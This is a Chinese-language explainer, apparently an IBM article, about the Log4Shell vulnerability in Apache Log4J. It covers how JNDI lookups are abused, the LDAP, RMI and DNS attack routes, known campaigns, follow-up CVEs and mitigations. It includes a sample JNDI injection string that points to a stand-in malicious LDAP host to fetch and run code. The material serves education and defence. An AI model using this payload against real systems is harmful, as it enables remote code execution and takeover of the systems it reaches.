什么是 Log4Shell?

什么是 Log4Shell?

Log4Shell,也被称为 Log4J 漏洞,是 Apache Log4J 2 Java 库某些版本中的远程代码执行 (RCE) 漏洞。Log4Shell 允许黑客在受影响的系统上运行几乎任何他们想要的代码,从而使他们能够完全控制应用程序和设备。

Log4Shell(常见漏洞和风险 CVE 标识符:CVE-2021-44228)的通用漏洞评分系统 (CVSS) 得分为 10,表示存在严重漏洞。它被认为是有史以来最危险的漏洞之一,因为它具有广泛的影响范围和潜在的破坏性后果。

在发现 Log4Shell 时,据估计,有 10% 的数字资产(包括 Web 应用程序、云服务和服务器等物理端点)对该漏洞没有防御能力。黑客可以使用 Log4Shell 做几乎任何事情:窃取数据(数据渗漏)、安装勒索软件、捕获僵尸网络设备等等。

云安全研究人员于 2021 年 11 月首次发现 Log4Shell。Apache 在 2021 年 12 月发布了补丁,从 2.17.1 开始的所有 Log4J 版本都不存在 Log4Shell 及其相关漏洞。不过,网络安全和基础设施安全局 (CISA) 报告称,Log4Shell 仍是最常被利用的漏洞之一。Log4J 在软件供应链中无处不在,因此找到并修复每个易受攻击的实例可能需要数年时间。

与此同时,安全团队可以采取其他措施来减少网络风险,下面将进一步详细讨论。

男子正在看电脑

增强安全情报


每周在 Think 时事通讯中获取有关安全、AI 等的新闻和洞察分析,从而预防威胁。

Log4Shell 的工作原理

Log4Shell 会影响由 Apache 软件基金会维护的开源记录库 Log4J。Log4J 是一个记录器,也是用于记录程序中信息和事件(例如错误消息和用户输入)的软件组件。

Log4J 并非独立的程序,而是一个代码包,开发人员可以将其插入其 Java 应用程序,而不必从头开始构建记录器。包括 Apple、Twitter、Amazon、Microsoft、Cloudflare、Cisco 等在内的大型组织都在其软件和服务中使用 Log4J。

Log4Shell 是源于 Log4J 的易受攻击版本如何处理两个相关功能:Java 命名和目录接口 (JNDI) 查找以及消息查找替换。每项功能本身都不会造成危害,但它们之间的相互作用却为黑客提供了有力的武器。

JNDI 是一款应用程序编程接口 (API),帮助 Java 应用程序访问外部服务器上托管的资源。JNDI 查询是个命令,告诉应用程序要前往服务器并下载具体对象,例如一段数据或脚本。旧版本的 Log4J 2 会自动运行通过这种方式下载的所有代码。

信息查找替换允许用户和应用程序使用特定语法(${prefix:name})在日志信息中向 Log4J 发送变量。当 Log4J 遇到此语法时,它会解析该变量并将值记录在日志中。例如,如果 Log4J 收到一条消息,内容为

${java:version}

它会找出设备上运行的当前 Java 版本,并会在日志中记录:“Java 版本 X.XX。”

换句话说,Log4J 不会将消息查找替换视为纯文本。它像命令一样对待它们,并根据它们所说的采取行动。黑客可以利用这一事实,向运行易受攻击的 Log4J 版本的应用程序发送恶意 JNDI 查找命令。例如,黑客可以向 Log4J 发送如下字符串:

${jndi:ldap://myevilwebsite.biz/maliciouscode}

当 Log4J 收到此消息时,它将通过访问 myevilwebsite.biz 的服务器并下载位于 /maliciouscode 的对象来解析该变量。这一过程将导致 Log4J 执行黑客藏匿在该位置的任意 Java 代码,通常是恶意软件

Mixture of Experts | 4 月 25 日,第 52 集

解码 AI:每周新闻摘要

加入我们由工程师、研究人员、产品负责人等组成的世界级专家团队,他们将突破 AI 的喧嚣,为您呈现最新的 AI 新闻和洞察分析。

黑客如何利用 Log4Shell

黑客可以使用标准协议触发 Log4Shell,使恶意流量更容易逃避检测。大多数 Log4Shell 攻击使用下列其中一种协议:轻量级目录访问协议 (LDAP)远程方法调用 (RMI)域名系统 (DNS)

LDAP

LDAP 用于将数据存储在一个中央位置,不同的应用程序和服务可以访问该数据。LDAP 是黑客利用 Log4Shell 最常用的方法。典型的攻击过程如下:

  • 黑客设置了 LDAP 服务器并在其上存储恶意代码。

  • 黑客使用 Log4J 向程序发送 JNDI 查找。

  • JNDI 查找会导致程序连接到攻击者的 LDAP 服务器,下载有效负载并执行相关代码。

RMI

RMI 是一项 Java 功能,能让一个设备上的应用程序命令另一个设备上的应用程序执行某些操作,例如共享信息或执行某项功能。

RMI 的攻击方式与 LDAP 攻击大致相同:黑客设置 RMI 服务器,诱骗目标连接到其服务器,然后将恶意命令发送回目标。

RMI 攻击并不常见,但一些黑客正在转向 RMI,因为越来越多的组织现在完全阻止 LDAP 流量。

DNS

黑客使用 DNS 来侦察目标。他们向程序发送 JNDI 查找,告诉它连接到黑客控制的 DNS 服务器。如果 DNS 服务器记录了来自该程序的连接,黑客就会知道系统很容易受到 Log4Shell 的进一步攻击。

Log4Shell 攻击示例

由于 Log4Shell 允许黑客运行任意代码,因此网络犯罪分子可以利用该漏洞发起各种攻击。被发现时,Log4Shell 也是零日漏洞,这意味着黑客在利用它时已经抢占先机。

一些最早的 Log4Shell 攻击利用加密劫持程序感染计算机,这是一种利用设备在所有者不知情的情况下挖掘加密货币的恶意软件。Mirai 僵尸网络也利用这一漏洞接管了设备。

多个勒索软件攻击都利用了 Log4Shell。最广为人知的病毒包括通过视频游戏 Minecraft 传播的 Khonsari 病毒,以及针对运行 VMware Horizon 的系统的 NightSky。

访问代理利用 Log4Shell 在高价值企业网络中建立立足点,通常是通过在被入侵系统上秘密投放远程访问木马 (RAT)。然后,访问代理将这些立足点出售给勒索软件即服务关联公司或暗网中的其他黑客。

与 Log4Shell 相关的漏洞

当 Apache 在发现 Log4Shell 后对其进行修补时,一些相关的漏洞被曝光。最终,花了四个补丁才完全修复了 Log4Shell 和所有相关漏洞。

CVE-2021-45046

Apache 发布的第一个补丁 Log4J 2.15.0 版封堵了 Log4Shell 的大部分漏洞。但是,黑客仍然可以向使用某些非默认设置的系统发送恶意 JNDI 查找。Apache 在 Log4J 版本 2.16.0 中解决了此漏洞。

CVE-2021-45105

版本 2.16.0 也被证明是不完整的。黑客可能使用恶意消息查找将易受攻击的系统发送到无限递归状态,从而导致拒绝服务攻击。Apache 发布了 2.17 版本来修复这个漏洞。

CVE-2021-44832

这个漏洞不像其他漏洞那么严重,它允许黑客远程执行代码,但他们需要首先获得提升的权限并更改日志配置。Apache 通过第四个补丁 Log4J 2.17.1 解决了这个问题。

减轻 Log4Shell 的影响并采取补救措施

安全研究人员强烈建议组织优先将其网络中的所有 Log4J 实例更新到最新版本,或至少版本 2.17.1。打补丁是完全修复 Log4Shell 的唯一方法。

但是,安全团队可能无法立即修补网络中 Log4J 的所有实例。易受攻击的 Log4J 安装通常以间接依赖项的形式出现,这意味着公司的资产不使用 Log4J,但它们依赖于其他使用 Log4J 的应用程序和服务。根据 Google 的说法,大多数易受攻击的 Log4J 实例的深度都超过一层,有些甚至多达九层。

当 Log4J 是间接依赖项时,安全团队很难找到它。即便找到它,他们可能无法对其进行修补,具体取决于它存在的位置。如果 Log4J 被隐藏在第三方应用程序使用的软件包中,安全团队将需要供应商在自己的那一端更新 Log4J。

即使 Log4J 作为直接依赖项存在,也可能很难被发现。如今的软件开发过程非常复杂,依赖于大型团队和大量预先存在的代码。开发人员可能没有意识到他们的应用程序包含易受攻击的 Log4J 版本,因为这些实例可能深藏在预编写的软件包中,这些软件包不是开发人员自己编写的。

截至 2022 年 12 月,25% 的 Log4J 下载仍然容易受到 Log4Shell 的攻击,这意味着人们正在使用过时版本的 Log4J 来构建新资产。

美国国土安全部称,Log4J 在软件供应链中的应用非常广泛,找到并修复每个易受攻击的实例至少需要十年时间。

同时,安全团队可以采取其他措施来减少网络风险。

从易受攻击的应用程序中移除信息查找功能

安全团队可以禁止 Log4J 中的消息查找替换,从而使 Log4J 将黑客的消息视为纯文本而不是要执行的命令。

有两种方法可以做到这一点:将“Log4J2.formatMsgNoLookups”系统属性改为“true”,或将 LOG4J_FORMAT_MSG_NO_LOOKUPS 环境变量值设为“true”。

请注意,未修补的 Log4J 版本仍然受到 CVE-2021-45046 的影响,该漏洞允许黑客在使用某些非默认设置时发送恶意 JNDI 查找。因此,禁止信息查询并非万无一失。

从易受攻击的应用程序中删除 JNDIlookup 类

Java 应用程序使用类来定义程序可以执行的操作。在 Log4J 中,“JNDIlookup”类管理 JNDI 查找。如果此类从 Log4J 的类目录(也称为类路径)中删除,则无法再执行 JNDI 查找。

禁止 JNDI 查找可以防止黑客发送恶意命令,但它也会影响 Log4J 的其他功能以及使用它的应用程序。确保删除类的每个实例也可能很困难。

阻止恶意出站流量

各组织可以使用防火墙和其他网络安全工具,以阻断从易受攻击的面向互联网资产到攻击者控制的服务器的流量。例如,安全团队可以设置规则,禁止所有使用 LDAP 或 RMI 协议的连接。

阻止出站流量而不是入站流量有助于避免误报,因为供应商和安全研究人员可能会扫描资产以查找仍然存留的未修补实例。

缺点是防火墙可能会阻止或拦截必要的出站连接,特别是当组织出于合法原因使用 LDAP 或 RMI 时。

相关解决方案
事件响应服务

改进组织的事件响应计划,最大限度地减少数据泄露的影响,体验对网络安全事件的快速响应。

了解事件响应服务
威胁检测和响应解决方案

使用 IBM 威胁检测和响应解决方案来加强您的安全性并加速威胁检测。

深入了解威胁检测解决方案
IBM QRadar SOAR 解决方案

借助智能自动化和编排解决方案,优化决策流程,提高 SOC 效率并加快事件响应速度。

探索 QRadar SOAR
采取后续步骤

改进组织的事件响应计划,最大限度地减少数据泄露的影响,体验对网络安全事件的快速响应。

了解事件响应服务 了解有关 IBM X-Force 的更多信息